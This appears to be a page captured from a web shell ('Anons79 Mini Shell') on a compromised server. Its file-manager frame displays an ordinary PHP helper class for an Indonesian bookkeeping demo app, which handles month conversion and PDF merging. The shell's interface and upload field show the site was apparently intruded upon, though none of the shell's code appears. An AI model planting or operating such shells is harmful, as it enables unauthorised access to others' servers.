Anons79 Mini Shell

Directory : /home/aplikasiposinfo/public_html/demo-catatan-keuangan.aplikasipos.info/app/Helper/
Upload File :
Current File : /home/aplikasiposinfo/public_html/demo-catatan-keuangan.aplikasipos.info/app/Helper/Generator.php

<?php

namespace App\Helper;

use \Mpdf\Mpdf;

class Generator
{
    public function monthToRoman($month)
    {
        $bulan = [
            '01' => 'I',
            '02' => 'II',
            '03' => 'III',
            '04' => 'IV',
            '05' => 'V',
            '06' => 'VI',
            '07' => 'VII',
            '08' => 'VIII',
            '09' => 'IX',
            '10' => 'X',
            '11' => 'XI',
            '12' => 'XII',
        ];

        return $bulan[$month];
    }

    public function mergePdf($arrayFile, $output_name)
    {
        if ($arrayFile) {
            $filesTotal = sizeof($arrayFile);
            $fileNumber = 1;
            $mpdf = new \Mpdf\Mpdf();
            // $mpdf->SetImportUse(); // this line comment out if method doesnt exist

            if (!file_exists($output_name)) {
                $handle = fopen($output_name, 'w');
                fclose($handle);
            }
            foreach ($arrayFile as $fileName) {
                if (file_exists($fileName)) {
                    $pagesInFile = $mpdf->SetSourceFile($fileName);
                    for ($i = 1; $i <= $pagesInFile; $i++) {
                        $tplId = $mpdf->ImportPage($i); // in mPdf v8 should be 'importPage($i)'
                        $mpdf->UseTemplate($tplId);
                        if (($fileNumber < $filesTotal) || ($i != $pagesInFile)) {
                            $mpdf->WriteHTML('<pagebreak />');
                        }
                    }
                }
                $fileNumber++;
            }
            $mpdf->Output($output_name);

        }
    }

    public static function bulanIndo($bulanIndex){
        $bulan = [
            'Januari',
            'Februari',
            'Maret',
            'April',
            'Mei',
            'Juni',
            'Juli',
            'Agustus',
            'September',
            'Oktober',
            'November',
            'Desember',
        ];

        return $bulan[$bulanIndex];
    }
}

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]